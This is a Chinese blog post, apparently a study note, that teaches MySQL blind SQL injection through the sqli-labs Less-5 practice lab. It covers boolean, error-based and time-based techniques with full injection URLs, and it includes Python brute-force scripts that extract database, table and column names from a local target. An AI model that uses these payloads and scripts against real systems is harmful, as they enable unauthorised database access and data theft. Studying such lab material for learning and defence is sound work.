本文为本人在学习中的总结,仅涉及基础的盲注技巧,可能多有疏漏之处,欢迎指教。

另外本人博客的SQL注入分类下有一些方面的详细讲解,在此只介绍简单的使用。

0x00、介绍一下本人对盲注的总结。

盲注就是在没有回显的结果下进行推断性的注入,这样我们有几种办法来注入:

1、根据页面正常与否判断payload是否正确(基于bool的盲注)

2、想办法让页面产生回显(个人感觉这个比较好用)(基于报错的盲注)

3、利用页面的延迟反应判断payload是否正确(基于延时的盲注)

0x01、盲注的大纲

1、布尔盲注

也就是上面说的根据页面是否正常来进行判断和注入。

1)字符串截取函数进行注入

了解一下会经常用到的MySQL字符串截取函数。

原理及简单应用参考:https://blog.csdn.net/zz_Caleb/article/details/86814043

2)regexp正则注入

原理及简单应用参考:https://blog.csdn.net/zz_Caleb/article/details/86814922

3)like匹配注入

例如:select user() like ‘ro%’

通配符 描述
% 替代一个或多个字符
_ 仅替代一个字符

这三部分为bool盲注主要方法。

2、基于报错的盲注

想办法让页面产生回显

1)经典语句注入

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

select user()处就是语句作用的地方,将其换成我们简单注入是用的语句来获取回显内容。

以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

注:若order by结果为三栏,select处应为select 1,2,count(*)

这里version()是语句作用点

2)exp()注入:利用double 数值类型溢出

原理参考:https://blog.csdn.net/zz_Caleb/article/details/86807364

3)bigint 溢出注入

原理参考:https://blog.csdn.net/zz_Caleb/article/details/86808589

4)extractvalue注入

用法:extractvalue(1,concat(0x7e,(select @@version),0x7e))

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

5)updatexml注入

用法:updatexml(1,concat(0x7e,(select @@version),0x7e),1)

//mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误

6)利用数据的重复性

用法:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql 重复特性,此处重复了 version,所以报错

3、基于时间的盲注——延时注入

1)if+sleep()

一般用法:If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep

Ps: 遇到以下这种利用 sleep()延时注入语句

select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

2)if+benchmark()

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用sleep()函数进行注入。

小准备:

在讲解之前首先公布我们要找的东西吧,这样好有个对照。

根据基础的判断,id=1'--+返回正常。

order by:3个字段(username和password分别在第二三个字段)

database:security

group_concat(table_name separator '@'):emails@referers@uagents@users  (我们用到users)

group_concat(column_name separator '@'):user_id@first_name@last_name@user@password@avatar@last_login@failed_login@id@username@password  (我们用的是username和password)

提一下id=1'--+的判断吧:

id=1 and 1=2--+如果语句正常,则应返回一个错误页面,于是在id=1后面加符号进行判断,当id=1' and 1=2--+是页面错误。

0x02、进行bool盲注

主要是用substr()和mid(),个人认为这两个函数写脚本好些点。

首先暴库长:length()

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20length(database())=8--+

此时页面正常,所以库长为8。次处用的=判断长度,用二分法判断时用大于小于号,效率更高。

注:本次脚本没写一个二分的,刚开始就想写点简单暴力的,尽量顺利点。

1、left()

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(database(),1)='s'--+

提供一个left暴库脚本,没有使用二分法,直接爆破。

import requests

url = "http://127.0.0.1/sqli-labs/Less-5/?id=1'"
eng="qwertyuiopasdfghjklmnbvcxz1234567890_~[]{}/!@#$%^&*()"
database = ""
s = 'You are in'
for i in range(1,9):
for j in eng:
d = database + j
payload = " and left(database(),%s)='%s'--+"%(i, d)
u = url + payload
t = requests.post(u).text
print(u)
#print(t)
if s in t:
database += j
print(database)
break

left()不易判断长度,联合表长及联合字段长不能用length()判断,所以left()用来暴库名可用度较高。

2、substr()和mid()

这两个函数用法一样,以substr为例,下面的使用只需将substr换成mid就可实现mid的使用。

1)暴库:(非二分法)

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20substr(database(),1,1)=%27s%27--+

页面返回正常,说明库名第一个字符为s,更改s出的字符来判断库名,下面给出脚本:

import requests

eng="qwertyuiopasdfghjklmnbvcxz1234567890_~[]{}/!@#$%^&*()"
s = "You are in"
url = "http://127.0.0.1/sqli-labs/Less-5/?id=1'"
database = ""
for i in range(1,9):
for j in eng:
payload = " and substr(database(),%s,1)='%s'--+" %(i, j)
u = url + payload
r = requests.post(u).text
print(u)
if s in r:
print(j)
database += j
break
print(database)

暴表、字段时只需在database()修改查询语句即可。

2)暴联合表长

为什么要暴表长呢,前面暴库时range()里是库长,长度能帮助我们更好爆破名字。

import requests

url = "http://127.0.0.1/sqli-labs/Less-5/?id=1'"
s = "You are in"
i = 1
while True:
payload = " and substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database()),%s,1)=''--+"%i
u = url + payload
r = requests.post(u).text
print(u)
if s in r:
print(i) #联合表名最后面是#,结果得到的长度包括#,也就是得到的结果减一得到实际的联合表长
break #最后结果是30,就是说联合表长为29
i += 1

解释一下这个payload,我们仍使用=判断,当我们截取到最后一个字符的后一个(此处为空),这是就和等号右边匹配,页面返回正常。

3)暴联合表名

直接上脚本,简单易懂:

import requests

url = "http://127.0.0.1/sqli-labs/Less-5/?id=1'"
s = "You are in"
eng="qwertyuiopasdfghjklmnbvcxz1234567890_~[]{}/!@#$%^&*()"
tables = "" for i in range(1,30):
for j in eng:
payload = " and substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database()),%s,1)='%s'--+"%(i, j)
u = url + payload
r = requests.post(u).text
print(u)
if s in r:
tables += j
print(tables)
break
print(tables)

后面的暴字段什么的仿照着写就行。

再给出mid的另一个用法(其实也差不多啦):https://blog.csdn.net/zz_Caleb/article/details/86299019

3、regexp正则注入和like匹配注入在上一篇文章已经介绍,适合手工,写脚本比较繁琐,请自行学习。

0x03、基于报错的盲注

报错注入可以帮助我们得到一些信息,但可能不能够想substr()那样完成一次从头到尾的爆破,所以可以和其他的盲注配合使用。

1、经典语句盲注

1)暴库:

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,database(),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

意外发现:写payload的时候rand写成了rang也报错了。

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,database(),0x3a,floor(rang(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

2)暴表的个数

这里我们不同于bool盲注暴长度,我们爆出的是表的个数

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

爆出有四个表。

3)暴表名(用到limit)

这里我么就用不了group_concat了,但能用limit。

第一个表:

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

第二个表:

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

最后一个表才是users。

4)暴字段数

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20count(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

看到有11个字段。

5)暴字段名

操作和暴表名一样,我们找的是最后两个字段

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%209,1),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%209,1),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

6)暴username和password的条目数

username个数:

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,(select%20count(username)%20from%20users),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

有13个

当然一个username对应一个password,所以password也应该有13个

7)暴username和password内容

方法用limit,和上面的一样,不再赘述。

2、exp盲注

用法:exp(~(select * FROM(SELECT database())a))

这个方法的原理在上篇文章介绍过了

但在Less5这里使用的时候得不到信息,给出另一篇文章,这里面实际应用了exp盲注:https://blog.csdn.net/zz_Caleb/article/details/85063838

3、bigint 溢出注入

原理介绍在上篇文章。

该法此处也得不到信息,个人感觉会exp就会这个。

4、extractvalue注入(xpath函数)

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20@@version),0x7e))--+

版本号5.5.53

1)暴库:

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(database()),0x7e))--+

2)暴表

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e))--+

拿到user表。

3) 暴字段

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27),0x7e))--+

可以看到暴出的字段数不够,看来我们要采取前面的方法了:先用count()暴出字段数目,再用limit逐个暴出字段。

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20count(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27),0x7e))--+

暴出字段数目:11

接下来就是用limit暴出字段了,我们需要的是username和password,就是最后两个,所以需要limit 9,1和limit 10,1

4)暴内容

我们用group_concat()的方法仍然不能完整得到全部的username,当然如果我们只是拿到username和password来登录,一组数据就够了,但这里为了更加熟练仍尽量全部暴出吗,所以仍然采用count()计数并结合limit来逐个暴出。

不再演示,和上面的过程一样。

5、updatexml注入(xpath函数)

和extractvalue()用法基本一样,就是最后多了一个参数1。

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(database()),0x7e),1)--+

下面的过程和extractvalue()一样,请自行实践。

6、利用数据的重复性

用法:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%20*%20from(select%20name_const(version(),1),name_const(version(),1))a--+

两个version()出为作用点,但是由于name_const()函数参数的限制,这里只能得出版本号。

0x04、延时盲注

1、if+sleep()

MySQL中if语句的用法:if(condition,ture,false)   //条件语句

用法:If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep

本题中应用:http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20if(substr(database(),1,1)=%27s%27,sleep(10),0)--+

为了延时明显用了10秒,一般用5秒。

剩下的就是用substr()来猜解长度和名字了,bool盲注中有详细的介绍,这里不再赘述。

2、if+benchmark()

仍然借助substr()来猜解,不过此方法中BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()函数进行注入。

用法:union select 1,2,if(substring(current,1,1)=char(119),benchmark(5000000,encode(‘msg’,’by 5 seconds’)),null) from (select database() as current) as tb1

本题使用:http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20union%20select%201,2,if(substr(current,1,1)=%27s%27,benchmark(40000000,encode(%27msg%27,%27by%205%20seconds%27)),null)%20from%20(select%20database()%20as%20current)%20as%20tb1--+

benchmark第一个参数设置成了40000000,此时延时比较明显,其余的就是substr()的使用了。

这些就是一个基本的整体介绍,本人认为学习一个东西要先掌握其大体框架,然后分层分步逐一攻取。

如有错误欢迎留言指教。

由sqli-labs/Less-5学习各种基础盲注技巧的更多相关文章

  1. 学习笔记 MYSQL盲注

    猜解当前数据库名 输入 ' # ,显示不存在: 输入 ' # ,显示不存在: 输入 ' # ,显示不存在: 输入 ' # ,显示存在: 采用二分法猜解数据库名 输入 ' ,)) # ,显示存在,说明数 ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  4. 一步步学习javascript基础篇(0):开篇索引

    索引: 一步步学习javascript基础篇(1):基本概念 一步步学习javascript基础篇(2):作用域和作用域链 一步步学习javascript基础篇(3):Object.Function等 ...

  5. 一步步学习javascript基础篇(3):Object、Function等引用类型

    我们在<一步步学习javascript基础篇(1):基本概念>中简单的介绍了五种基本数据类型Undefined.Null.Boolean.Number和String.今天我们主要介绍下复杂 ...

  6. JavaScript学习02 基础语法

    JavaScript学习02 基础语法 JavaScript中很多基础内容和Java中大体上基本一样,所以不需要再单独重复讲了,包括: 各种算术运算符.比较运算符.逻辑运算符: if else语句.s ...

  7. jQuery学习笔记 - 基础知识扫盲入门篇

    jQuery学习笔记 - 基础知识扫盲入门篇 2013-06-16 18:42 by 全新时代, 11 阅读, 0 评论, 收藏, 编辑 1.为什么要使用jQuery? 提供了强大的功能函数解决浏览器 ...

  8. Python3学习(1)-基础篇

    Python3学习(1)-基础篇 Python3学习(2)-中级篇 Python3学习(3)-高级篇 安装(MAC) 直接运行: brew install python3 输入:python3 --v ...

  9. Ant学习-001-ant 基础知识及windows环境配置

    一.Ant 概要基础知识 Apache Ant 是一个将软件编译.测试.部署等步骤联系在一起加以自动化的一个工具,大多用于Java环境中的软件开发,用以构建应用,或结合其他开源测试工具例如 git.T ...

随机推荐

  1. ADV-292 计算行列式 java

    问题描述 //据说很多人的题目会有一大堆废话,本傻×就不在这里废话了. 给定一个N×N的矩阵A,求|A|. 输入格式 第一行一个正整数N. 接下来N行,每行N个整数,第i行第j个数字表示A[i][j] ...

  2. python 开启http服务并下载文件

    Python <= 2.3python -c "import SimpleHTTPServer as s; s.test();" 8000 Python >= 2.4p ...

  3. quartz spring 实现动态定时任务

    在实际项目应用中经常会用到定时任务,可以通过quartz和spring的简单配置即可完成,但如果要改变任务的执行时间.频率,废弃任务等就需要改变配置甚至代码需要重启服务器,这里介绍一下如何通过quar ...

  4. 「SCOI2010」连续攻击游戏

    传送门 Luogu 解题思路 二分图匹配,关键是建图. 如果我们naive地直接把每个武器的两个属性分为两部建图的话,显然是跑不了的. 我们考虑把每一个武器的属性向它连边:\(a_i \rightar ...

  5. 关于pandas增加行时,索引名称的一些问题

    学习pandas两天了,关于这个增加行的问题一直困扰着我,测试了几个代码,终于搞通了一点(昨天是因为代码敲错了...) 直接上代码: dates = pd.date_range(',periods=6 ...

  6. java递归调用 return的问题

    最近比较闲,写了个递归调用获取最大公约数,刚开始写错了,但一直不明白错在哪,错误代码如下: public class Demo { public static void main(String[] a ...

  7. 加拿大Assignment写作如何靠第一句话来吸睛?

    最近有留学加拿大的同学咨询我们如何写好assignment的首句,关于话题背景的引入,如何才能自然精妙,让老师对后文充满期待.小编用一句话总结今天的策略:陈述一个跟话题直接相关的事实.“直接相关”,保 ...

  8. 【Unity】鼠标划定范围然后截图~

    有时候要重复用某一个场景的某一个角度,都过去好几步了结果总不能再把已经打乱的场景物体再移动回去吧.so~智慧的我完成了伟大的偷懒.截图保存,什么时候要看,直接上图片以假乱真棒棒哒~ 当然这个功能还能用 ...

  9. 吴裕雄--天生自然JAVAIO操作学习笔记:字节流与字符流操作

    import java.io.* ; public class Copy{ public static void main(String args[]){ if(args.length!=2){ // ...

  10. 设备树DTS 学习:3-常用的DTS 函数

    Linux内核中目前DTS相关的函数都是以of_前缀开头的,它们的实现位于内核源码的drivers/of下面 void __iomem*of_iomap(struct device_node *nod ...